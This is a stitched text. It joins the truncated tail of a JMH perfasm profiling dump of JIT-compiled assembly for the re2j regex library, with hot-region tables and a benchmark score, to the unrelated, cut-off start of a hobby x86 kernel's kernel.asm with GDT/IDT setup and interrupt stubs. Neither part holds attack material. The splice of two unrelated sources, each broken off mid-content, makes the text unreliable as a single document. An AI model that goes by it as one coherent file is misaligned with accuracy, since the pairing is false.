- com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.16% 0.10% ││││││││ 0x00007fc83d223f19: or %r10,%r9 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.10% 0.16% ││││││││ 0x00007fc83d223f1c: mov %r9,0x10(%rdx) ;*putfield pcsl ││││││││ ; - com.google.re2j.Machine$Queue::add@15 (line 52) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.04% 0.02% ││││││││ 0x00007fc83d223f20: vmovq %xmm2,%r10 0.01% 0.02% ││││││││ 0x00007fc83d223f25: mov 0x3c(%r10),%ebp ;*getfield inst4 ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@83 (line 268) 0.16% 0.17% ││││││││ 0x00007fc83d223f29: mov %rdi,%r10 0.10% 0.09% ││││││││ 0x00007fc83d223f2c: add $0x18,%r10 0.02% 0.02% ││││││││ 0x00007fc83d223f30: mov %r14,%rcx 0.02% 0.03% ││││││││ 0x00007fc83d223f33: shr $0x3,%rcx 0.18% 0.12% ││││││││ 0x00007fc83d223f37: mov %ecx,(%r10) ;*aastore ││││││││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.11% 0.18% ││││││││ 0x00007fc83d223f3a: mov %eax,%ecx 0.01% 0.01% ││││││││ 0x00007fc83d223f3c: add $0x3,%ecx 0.03% 0.04% ││││││││ 0x00007fc83d223f3f: mov %ecx,0xc(%rdx) ;*putfield size ││││││││ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.19% 0.12% ││││││││ 0x00007fc83d223f42: shr $0x9,%r10 0.12% 0.12% ││││││││ 0x00007fc83d223f46: mov %r12b,(%r8,%r10,1) ;*aastore ││││││││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.02% 0.01% ││││││││ 0x00007fc83d223f4a: mov 0x8(%r12,%rbp,8),%ecx ; implicit exception: dispatches to 0x00007fc83d2246ad 0.03% 0.04% ││││││││ 0x00007fc83d223f4f: cmp $0xf8019909,%ecx ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} ││││││││ 0x00007fc83d223f55: jne 0x00007fc83d2241c1 0.16% 0.17% ││││││││ 0x00007fc83d223f5b: lea (%r12,%rbp,8),%r14 ;*invokevirtual add ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.08% 0.14% ││││││││ 0x00007fc83d223f5f: mov 0x18(%r14),%ecx ;*getfield pc ││││││││ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.01% 0.02% ││││││││ 0x00007fc83d223f63: vmovd %ecx,%xmm0 0.07% 0.05% ││││││││ 0x00007fc83d223f67: cmp $0x40,%ecx ││││││││ 0x00007fc83d223f6a: jg 0x00007fc83d2244f1 ;*if_icmpgt ││││││││ ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.14% 0.12% ││││││││ 0x00007fc83d223f70: mov $0x1,%r10d 0.13% 0.15% ││││││││ 0x00007fc83d223f76: shl %cl,%r10 ;*lshl ││││││││ ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.26% 0.17% ││││││││ 0x00007fc83d223f79: mov %r9,%rcx 0.10% 0.11% ││││││││ 0x00007fc83d223f7c: and %r10,%rcx ;*land ││││││││ ; - com.google.re2j.Machine$Queue::contains@13 (line 42) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.01% 0.02% ││││││││ 0x00007fc83d223f7f: test %rcx,%rcx ││││││││ 0x00007fc83d223f82: jne 0x00007fc83d22406c ;*ifeq ││││││││ ; - com.google.re2j.Machine$Queue::contains@16 (line 42) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.03% 0.05% ││││││││ 0x00007fc83d223f88: xor %ebp,%ebp ;*ireturn ││││││││ ; - com.google.re2j.Machine$Queue::contains@24 (line 42) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.14% 0.11% ││││││││ 0x00007fc83d223f8a: test %rcx,%rcx ││││││││ 0x00007fc83d223f8d: jne 0x00007fc83d22452d ;*ifeq ││││││││ ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.09% 0.17% ││││││││ 0x00007fc83d223f93: vmovd %xmm0,%ecx 0.02% 0.03% ││││││││ 0x00007fc83d223f97: cmp $0x40,%ecx ││││││││ 0x00007fc83d223f9a: jge 0x00007fc83d224561 ;*if_icmpge ││││││││ ; - com.google.re2j.Machine$Queue::add@3 (line 51) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.05% 0.08% ││││││││ 0x00007fc83d223fa0: mov %ebx,0xc(%rdx) ;*putfield size ││││││││ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.13% 0.17% ││││││││ 0x00007fc83d223fa3: vmovq %xmm2,%rcx 0.13% 0.23% ││││││││ 0x00007fc83d223fa8: mov 0x40(%rcx),%ebp ;*getfield inst5 ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@103 (line 269) 0.02% 0.03% ││││││││ 0x00007fc83d223fab: mov %rdi,%rcx 0.03% 0.05% ││││││││ 0x00007fc83d223fae: add $0x1c,%rcx ;*aastore ││││││││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.13% 0.22% ││││││││ 0x00007fc83d223fb2: or %r10,%r9 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.10% 0.16% ││││││││ 0x00007fc83d223fb5: mov %r9,0x10(%rdx) ;*putfield pcsl ││││││││ ; - com.google.re2j.Machine$Queue::add@15 (line 52) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.03% 0.03% ││││││││ 0x00007fc83d223fb9: mov %r14,%r10 0.05% 0.05% ││││││││ 0x00007fc83d223fbc: shr $0x3,%r10 0.16% 0.16% ││││││││ 0x00007fc83d223fc0: mov %r10d,(%rcx) 0.13% 0.16% ││││││││ 0x00007fc83d223fc3: mov %rcx,%r10 0.01% 0.04% ││││││││ 0x00007fc83d223fc6: shr $0x9,%r10 0.02% 0.03% ││││││││ 0x00007fc83d223fca: mov %r12b,(%r8,%r10,1) ;*aastore ││││││││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.18% 0.21% ││││││││ 0x00007fc83d223fce: mov 0x8(%r12,%rbp,8),%r10d ; implicit exception: dispatches to 0x00007fc83d2246d5 0.08% 0.17% ││││││││ 0x00007fc83d223fd3: cmp $0xf8019909,%r10d ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} ││││││││ 0x00007fc83d223fda: jne 0x00007fc83d2241ed 0.01% 0.01% ││││││││ 0x00007fc83d223fe0: lea (%r12,%rbp,8),%r10 ;*invokevirtual add ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.02% 0.03% ││││││││ 0x00007fc83d223fe4: mov 0x18(%r10),%ecx ;*getfield pc ││││││││ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.15% 0.21% ││││││││ 0x00007fc83d223fe8: cmp $0x40,%ecx ││││││││ 0x00007fc83d223feb: jg 0x00007fc83d22459d ;*if_icmpgt ││││││││ ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.12% 0.16% ││││││││ 0x00007fc83d223ff1: shl %cl,%rsi ;*lshl ││││││││ ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.24% 0.29% ││││││││ 0x00007fc83d223ff4: mov %r9,%rbx 0.12% 0.11% ││││││││ 0x00007fc83d223ff7: and %rsi,%rbx ;*land ││││││││ ; - com.google.re2j.Machine$Queue::contains@13 (line 42) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.02% 0.01% ││││││││ 0x00007fc83d223ffa: test %rbx,%rbx ││││││││ 0x00007fc83d223ffd: jne 0x00007fc83d224076 ;*ifeq ││││││││ ; - com.google.re2j.Machine$Queue::contains@16 (line 42) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.06% 0.06% ││││││││ 0x00007fc83d223fff: xor %ebp,%ebp ;*ireturn ││││││││ ; - com.google.re2j.Machine$Queue::contains@24 (line 42) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.16% 0.18% ││││││││ 0x00007fc83d224001: test %rbx,%rbx ││││││││ 0x00007fc83d224004: jne 0x00007fc83d2245c1 ;*ifeq ││││││││ ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.12% 0.19% ││││││││ 0x00007fc83d22400a: cmp $0x40,%ecx ││││││││ 0x00007fc83d22400d: jge 0x00007fc83d2245e1 ;*if_icmpge ││││││││ ; - com.google.re2j.Machine$Queue::add@3 (line 51) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.04% 0.02% ││││││││ 0x00007fc83d224013: or %rsi,%r9 0.04% 0.03% ││││││││ 0x00007fc83d224016: mov %r9,0x10(%rdx) ;*putfield pcsl ││││││││ ; - com.google.re2j.Machine$Queue::add@15 (line 52) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.15% 0.13% ││││││││ 0x00007fc83d22401a: add $0x20,%rdi 0.09% 0.14% ││││││││ 0x00007fc83d22401e: shr $0x3,%r10 0.02% 0.01% ││││││││ 0x00007fc83d224022: mov %r10d,(%rdi) ;*aastore ││││││││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.04% 0.02% ││││││││ 0x00007fc83d224025: mov %rdi,%r10 0.11% 0.14% ││││││││ 0x00007fc83d224028: add $0x5,%eax 0.18% 0.17% ││││││││ 0x00007fc83d22402b: mov %eax,0xc(%rdx) ;*putfield size ││││││││ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.01% 0.02% ││││││││ 0x00007fc83d22402e: shr $0x9,%r10 0.03% 0.07% ││││││││ 0x00007fc83d224032: mov %r12b,(%r8,%r10,1) ;*aastore ││││││││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.14% 0.22% ││││││││ 0x00007fc83d224036: xor %eax,%eax 0.12% 0.18% ││││││││ 0x00007fc83d224038: add $0x70,%rsp 0.02% 0.02% ││││││││ 0x00007fc83d22403c: pop %rbp 0.03% 0.05% ││││││││ 0x00007fc83d22403d: test %eax,0x1856afbd(%rip) # 0x00007fc85578f000 ││││││││ ; {poll_return} 0.16% 0.14% ││││││││ 0x00007fc83d224043: retq ↘│││││││ 0x00007fc83d224044: mov $0x1,%ebp │││╰│││ 0x00007fc83d224049: jmpq 0x00007fc83d223d2d ↘││ │││ 0x00007fc83d22404e: mov $0x1,%ebp ││ ╰││ 0x00007fc83d224053: jmpq 0x00007fc83d223d90 ↘│ ││ 0x00007fc83d224058: mov $0x1,%ebp │ ╰│ 0x00007fc83d22405d: jmpq 0x00007fc83d223e67 ↘ │ 0x00007fc83d224062: mov $0x1,%ebp ╰ 0x00007fc83d224067: jmpq 0x00007fc83d223f03 0x00007fc83d22406c: mov $0x1,%ebp .................................................................................................... 16.60% 18.57% <total for region 4> ....[Hottest Region 5].............................................................................. C2, level 4, com.google.re2j.Machine::step, version 494 (174 bytes) # parm6: [sp+0xa8] = int # parm7: [sp+0xb0] = boolean 0x00007fc83d21f880: mov 0x8(%rsi),%r10d 0x00007fc83d21f884: shl $0x3,%r10 0x00007fc83d21f888: cmp %r10,%rax 0x00007fc83d21f88b: jne 0x00007fc83d045e20 ; {runtime_call} 0x00007fc83d21f891: data16 xchg %ax,%ax 0x00007fc83d21f894: nopl 0x0(%rax,%rax,1) 0x00007fc83d21f89c: data16 data16 xchg %ax,%ax [Verified Entry Point] 0.34% 0.29% 0x00007fc83d21f8a0: mov %eax,-0x14000(%rsp) 0.24% 0.28% 0x00007fc83d21f8a7: push %rbp 0.29% 0.21% 0x00007fc83d21f8a8: sub $0x90,%rsp ;*synchronization entry ; - com.google.re2j.Machine::step@-1 (line 280) 0.21% 0.20% 0x00007fc83d21f8af: mov %edi,0x18(%rsp) 0.23% 0.22% 0x00007fc83d21f8b3: mov %r9d,0x14(%rsp) 0.35% 0.20% 0x00007fc83d21f8b8: mov %r8d,0x10(%rsp) 0.22% 0.16% 0x00007fc83d21f8bd: mov %rcx,%r9 0.07% 0.06% 0x00007fc83d21f8c0: mov %rsi,0x20(%rsp) 0.22% 0.17% 0x00007fc83d21f8c5: mov 0x14(%rsi),%r10d ;*getfield re2 ; - com.google.re2j.Machine::step@1 (line 280) 0.10% 0.18% 0x00007fc83d21f8c9: movzbl 0x18(%r12,%r10,8),%r10d ;*getfield longest ; - com.google.re2j.Machine::step@4 (line 280) ; implicit exception: dispatches to 0x00007fc83d22138d 1.39% 1.38% 0x00007fc83d21f8cf: mov %r10d,0x1c(%rsp) 0.29% 0.28% 0x00007fc83d21f8d4: mov %rdx,%r14 0.14% 0.12% 0x00007fc83d21f8d7: mov 0xc(%rdx),%eax ;*getfield size ; - com.google.re2j.Machine::step@10 (line 281) ; implicit exception: dispatches to 0x00007fc83d22139d 0.11% 0.09% 0x00007fc83d21f8da: test %eax,%eax 0x00007fc83d21f8dc: jle 0x00007fc83d21ff7d ;*if_icmpge ; - com.google.re2j.Machine::step@40 (line 286) 0.09% 0.10% 0x00007fc83d21f8e2: mov 0x24(%rdx),%r11d ;*getfield denseThreadsCapture ; - com.google.re2j.Machine::step@28 (line 284) 0.79% 0.81% 0x00007fc83d21f8e6: mov %r11d,0x40(%rsp) 0.24% 0.13% 0x00007fc83d21f8eb: movzbl 0x11(%rsi),%r11d ;*getfield captures ; - com.google.re2j.Machine::step@16 (line 282) 0.08% 0.16% 0x00007fc83d21f8f0: mov 0x20(%rdx),%r10d ;*getfield denseThreadsInstructions ; - com.google.re2j.Machine::step@22 (line 283) 0.16% 0.21% 0x00007fc83d21f8f4: mov %r10d,0x3c(%rsp) 0.27% 0.32% 0x00007fc83d21f8f9: test %r11d,%r11d 0x00007fc83d21f8fc: jne 0x00007fc83d22024d ;*iload ; - com.google.re2j.Machine::step@43 (line 289) 0.11% 0.13% 0x00007fc83d21f902: mov 0xc(%r12,%r10,8),%r8d ;*aaload ; - com.google.re2j.Machine::step@99 (line 299) ; implicit exception: dispatches to 0x00007fc83d22024d 0.62% 0.60% 0x00007fc83d21f907: test %r8d,%r8d 0x00007fc83d21f90a: jbe 0x00007fc83d22024d 0.11% 0.07% 0x00007fc83d21f910: mov %eax,%ecx 0.33% 0.30% 0x00007fc83d21f912: dec %ecx 0.08% 0.14% 0x00007fc83d21f914: cmp %r8d,%ecx 0x00007fc83d21f917: jae 0x00007fc83d22024d ;*iload ; - com.google.re2j.Machine::step@43 (line 289) 0.10% 0.13% 0x00007fc83d21f91d: lea (%r12,%r10,8),%r13 ;*getfield denseThreadsInstructions ; - com.google.re2j.Machine::step@22 (line 283) 0.12% 0.11% 0x00007fc83d21f921: xor %r10d,%r10d 0.27% 0.32% 0x00007fc83d21f924: jmpq 0x00007fc83d21feb4 0x00007fc83d21f929: nopl 0x0(%rax) 1.07% 1.05% 0x00007fc83d21f930: xor %r11d,%r11d 0.19% 0.09% 0x00007fc83d21f933: test %r11d,%r11d 0x00007fc83d21f936: jne 0x00007fc83d21f9dd 1.39% 0.91% 0x00007fc83d21f93c: mov 0xa8(%rsp),%r8d 0.08% 0.08% 0x00007fc83d21f944: mov 0xb0(%rsp),%ebx ;*ifnull ; - com.google.re2j.Machine::step@221 (line 320) 1.02% 1.02% 0x00007fc83d21f94b: mov %r9,%r11 0.05% 0.05% 0x00007fc83d21f94e: jmpq 0x00007fc83d21fe96 0x00007fc83d21f953: cmp $0xf8019909,%r8d ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} 0x00007fc83d21f95a: jne 0x00007fc83d2203c1 ;*invokevirtual add ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21f960: mov 0x18(%rax),%r11d ;*getfield pc ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21f964: cmp $0x40,%r11d 0x00007fc83d21f968: jg 0x00007fc83d220af9 ;*if_icmpgt .................................................................................................... 11.37% 10.57% <total for region 5> ....[Hottest Regions]............................................................................... 28.59% 29.86% C2, level 4 com.google.re2j.Machine::match, version 541 (1534 bytes) 17.51% 18.10% C2, level 4 com.google.re2j.Machine::step, version 494 (195 bytes) 17.38% 14.97% C2, level 4 com.google.re2j.Machine::step, version 494 (1013 bytes) 16.60% 18.57% C2, level 4 com.google.re2j.Inst$Alt5Inst::add, version 511 (867 bytes) 11.37% 10.57% C2, level 4 com.google.re2j.Machine::step, version 494 (174 bytes) 2.77% 2.53% C2, level 4 com.google.re2j.Machine::step, version 494 (61 bytes) 1.54% 1.53% [kernel.kallsyms] [unknown] (6 bytes) 1.39% 1.52% C2, level 4 com.google.re2j.Machine::match, version 541 (163 bytes) 0.15% 0.11% C2, level 4 com.google.re2j.Pattern::find, version 546 (12 bytes) 0.13% 0.07% C2, level 4 com.google.re2j.Pattern::find, version 546 (28 bytes) 0.10% 0.04% C2, level 4 com.google.re2j.Pattern::find, version 546 (8 bytes) 0.10% [kernel.kallsyms] [unknown] (45 bytes) 0.10% 0.00% [kernel.kallsyms] [unknown] (18 bytes) 0.09% 0.04% C2, level 4 com.google.re2j.Pattern::find, version 546 (0 bytes) 0.08% 0.01% [kernel.kallsyms] [unknown] (0 bytes) 0.06% 0.09% C2, level 4 com.google.re2j.Machine::match, version 541 (185 bytes) 0.05% 0.04% C2, level 4 com.google.re2j.Machine::match, version 541 (185 bytes) 0.05% 0.01% C2, level 4 com.google.re2j.Machine::match, version 541 (89 bytes) 0.04% C2, level 4 com.google.re2j.Pattern::find, version 546 (36 bytes) 0.03% 0.08% libjvm.so _ZN13RelocIterator10initializeEP7nmethodPhS2_ (102 bytes) 1.85% 1.84% <...other 413 warm regions...> .................................................................................................... 100.00% 100.00% <totals> ....[Hottest Methods (after inlining)].............................................................. 49.06% 46.18% C2, level 4 com.google.re2j.Machine::step, version 494 30.17% 31.54% C2, level 4 com.google.re2j.Machine::match, version 541 16.60% 18.57% C2, level 4 com.google.re2j.Inst$Alt5Inst::add, version 511 2.59% 2.32% [kernel.kallsyms] [unknown] 0.65% 0.32% C2, level 4 com.google.re2j.Pattern::find, version 546 0.06% 0.01% C2, level 4 com.github.arnaudroger.re2j.generated.Re2jFindRegex_testCombine_jmhTest::testCombine_thrpt_jmhStub, version 620 0.06% 0.05% C2, level 4 java.util.Collections::shuffle, version 567 0.06% 0.02% [vdso] [unknown] 0.04% 0.02% hsdis-amd64.so [unknown] 0.03% 0.08% libjvm.so _ZN13RelocIterator10initializeEP7nmethodPhS2_ 0.03% 0.09% libjvm.so _ZN10fileStream5writeEPKcm 0.02% 0.01% libjvm.so _ZN12outputStream15update_positionEPKcm 0.02% 0.06% libc-2.26.so vfprintf 0.02% 0.01% libc-2.26.so __strlen_avx2 0.02% 0.03% libpthread-2.26.so __pthread_enable_asynccancel 0.02% 0.01% libjvm.so _ZN19GenericTaskQueueSetI17OverflowTaskQueueI8StarTaskL10MemoryType1ELj131072EELS2_1EE15steal_best_of_2EjPiRS1_ 0.02% 0.01% libc-2.26.so __clock_gettime 0.02% 0.02% libjvm.so _ZN13xmlTextStream5writeEPKcm 0.01% 0.03% libc-2.26.so _IO_default_xsputn 0.01% 0.05% libc-2.26.so _IO_fwrite 0.45% 0.23% <...other 75 warm methods...> .................................................................................................... 100.00% 99.69% <totals> ....[Distribution by Source]........................................................................ 96.63% 96.67% C2, level 4 2.59% 2.32% [kernel.kallsyms] 0.39% 0.59% libjvm.so 0.18% 0.29% libc-2.26.so 0.06% 0.02% [vdso] 0.05% 0.03% hsdis-amd64.so 0.05% 0.06% libpthread-2.26.so 0.02% 0.01% interpreter 0.01% C1, level 3 0.00% runtime stub 0.00% libzip.so .................................................................................................... 100.00% 100.00% <totals> # Run complete. Total time: 00:00:45 Benchmark Mode Cnt Score Error Units Re2jFindRegex.testCombine thrpt 20 9239.172 ± 201.694 ops/s Re2jFindRegex.testCombine:·asm thrpt NaN ---
; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ; kernel.asm ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ; Forrest Yu, 2005 ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ %include "sconst.inc" ; 导入函数 extern cstart extern kernel_main extern exception_handler extern spurious_irq extern disp_str extern delay ; 导入全局变量 extern gdt_ptr extern idt_ptr extern p_proc_ready extern tss extern disp_pos extern k_reenter bits 32 [SECTION .data] clock_int_msg db "^", 0 [SECTION .bss] StackSpace resb 2 * 1024 StackTop: ; 栈顶 [section .text] ; 代码在此 global _start ; 导出 _start global restart global divide_error global single_step_exception global nmi global breakpoint_exception global overflow global bounds_check global inval_opcode global copr_not_available global double_fault global copr_seg_overrun global inval_tss global segment_not_present global stack_exception global general_protection global page_fault global copr_error global hwint00 global hwint01 global hwint02 global hwint03 global hwint04 global hwint05 global hwint06 global hwint07 global hwint08 global hwint09 global hwint10 global hwint11 global hwint12 global hwint13 global hwint14 global hwint15 _start: ; 此时内存看上去是这样的(更详细的内存情况在 LOADER.ASM 中有说明): ; ┃ ┃ ; ┃ ... ┃ ; ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■■■Page Tables■■■■■■┃ ; ┃■■■■■(大小由LOADER决定)■■■■┃ PageTblBase ; 00101000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■Page Directory Table■■■■┃ PageDirBase = 1M ; 00100000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃□□□□ Hardware Reserved □□□□┃ B8000h ← gs ; 9FC00h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■■■■LOADER.BIN■■■■■■┃ somewhere in LOADER ← esp ; 90000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■■■■KERNEL.BIN■■■■■■┃ ; 80000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┃■■■■■■■■KERNEL■■■■■■■┃ 30400h ← KERNEL 入口 (KernelEntryPointPhyAddr) ; 30000h ┣━━━━━━━━━━━━━━━━━━┫ ; ┋ ... ┋ ; ┋ ┋ ; 0h ┗━━━━━━━━━━━━━━━━━━┛ ← cs, ds, es, fs, ss ; ; ; GDT 以及相应的描述符是这样的: ; ; Descriptors Selectors ; ┏━━━━━━━━━━━━━━━━━━┓ ; ┃ Dummy Descriptor ┃ ; ┣━━━━━━━━━━━━━━━━━━┫ ; ┃ DESC_FLAT_C (0~4G) ┃ 8h = cs ; ┣━━━━━━━━━━━━━━━━━━┫ ; ┃ DESC_FLAT_RW (0~4G) ┃ 10h = ds, es, fs, ss ; ┣━━━━━━━━━━━━━━━━━━┫ ; ┃ DESC_VIDEO ┃ 1Bh = gs ; ┗━━━━━━━━━━━━━━━━━━┛ ; ; 注意! 在使用 C 代码的时候一定要保证 ds, es, ss 这几个段寄存器的值是一样的 ; 因为编译器有可能编译出使用它们的代码, 而编译器默认它们是一样的. 比如串拷贝操作会用到 ds 和 es. ; ; ; 把 esp 从 LOADER 挪到 KERNEL mov esp, StackTop ; 堆栈在 bss 段中 mov dword [disp_pos], 0 sgdt [gdt_ptr] ; cstart() 中将会用到 gdt_ptr call cstart ; 在此函数中改变了gdt_ptr,让它指向新的GDT lgdt [gdt_ptr] ; 使用新的GDT lidt [idt_ptr] jmp SELECTOR_KERNEL_CS:csinit csinit: ; “这个跳转指令强制使用刚刚初始化的结构”——<<OS:D&I 2nd>> P90. ;jmp 0x40:0 ;ud2 xor eax, eax mov ax, SELECTOR_TSS ltr ax ;sti jmp kernel_main ;hlt ; 中断和异常 -- 硬件中断 ; --------------------------------- %macro hwint_master 1 push %1 call spurious_irq add esp, 4 hlt %endmacro ALIGN 16 hwint00: ; Interrupt routine for irq 0 (the clock). sub esp, 4 pushad ; `. push ds ; | push es ; | 保存原寄存器值 push fs ; | push gs ; / mov dx, ss mov ds, dx mov es, dx inc byte [gs:0] ; 改变屏幕第 0 行, 第 0 列的字符 mov al, EOI ; `. reenable out INT_M_CTL, al ; / master 8259 inc dword [k_reenter] cmp dword [k_reenter], 0 jne .re_enter mov esp, StackTop ; 切到内核栈 sti push clock_int_msg call disp_str add esp, 4 push 1 call delay add esp, 4 cli mov esp, [p_proc_ready] ; 离开内核栈 lea eax, [esp + P_STACKTOP] mov dword [tss + TSS3_S_SP0], eax .re_enter: ; 如果(k_reenter != 0),会跳转到这里 dec dword [k_reenter] pop gs ; `. pop fs ; | pop es ; | 恢复原寄存器值 pop ds ; | popad ; / add esp, 4 iretd ALIGN 16 hwint01: ; Interrupt routine for irq 1 (keyboard) hwint_master 1 ALIGN 16 hwint02: ; Interrupt routine for irq 2 (cascade!) hwint_master 2 ALIGN 16 hwint03: ; Interrupt routine for irq 3 (second serial) hwint_master 3 ALIGN 16 hwint04: ; Interrupt routine for irq 4 (first serial) hwint_master 4 ALIGN 16 hwint05: ; Interrupt routine for irq 5 (XT winchester) hwint_master 5 ALIGN 16 hwint06: ; Interrupt routine for irq 6 (floppy) hwint_master 6 ALIGN 16 hwint07: ; Interrupt routine for irq 7 (printer) hwint_master 7 ; --------------------------------- %macro hwint_slave 1 push %1 call spurious_irq add esp, 4 hlt %endmacro ; --------------------------------- ALIGN 16 hwint08: ; Interrupt routine for irq 8 (realtime clock). hwint_slave 8 ALIGN 16 hwint09: ; Interrupt routine for irq 9 (irq 2 redirected) hwint_slave 9 ALIGN 16 hwint10: ; Interrupt routine for irq 10 hwint_slave 10 ALIGN 16 hwint11: ; Interrupt routine for irq 11 hwint_slave 11 ALIGN 16 hwint12: ; Interrupt routine for irq 12 hwint_slave 12 ALIGN 16 hwint13: ; Interrupt routine for irq 13 (FPU exception) hwint_slave 13 ALIGN 16 hwint14: ; Interrupt routine for irq 14 (AT winchester) hwint_slave 14 ALIGN 16 hwint15: ; Interrupt routine for irq 15 hwint_slave 15 ; 中断和异常 -- 异常 divide_error: push 0xFFFFFFFF ; no err code push 0 ; vector_no = 0 jmp exception single_step_exception: push 0xFFFFFFFF ; no err code push 1 ; vector_no = 1 jmp exception nmi: push 0xFFFFFFFF ; no err code push 2 ; vector_no = 2 jmp exception breakpoint_exception: push 0xFFFFFFFF ; no err code push 3 ; vector_no = 3 jmp exception overflow: push 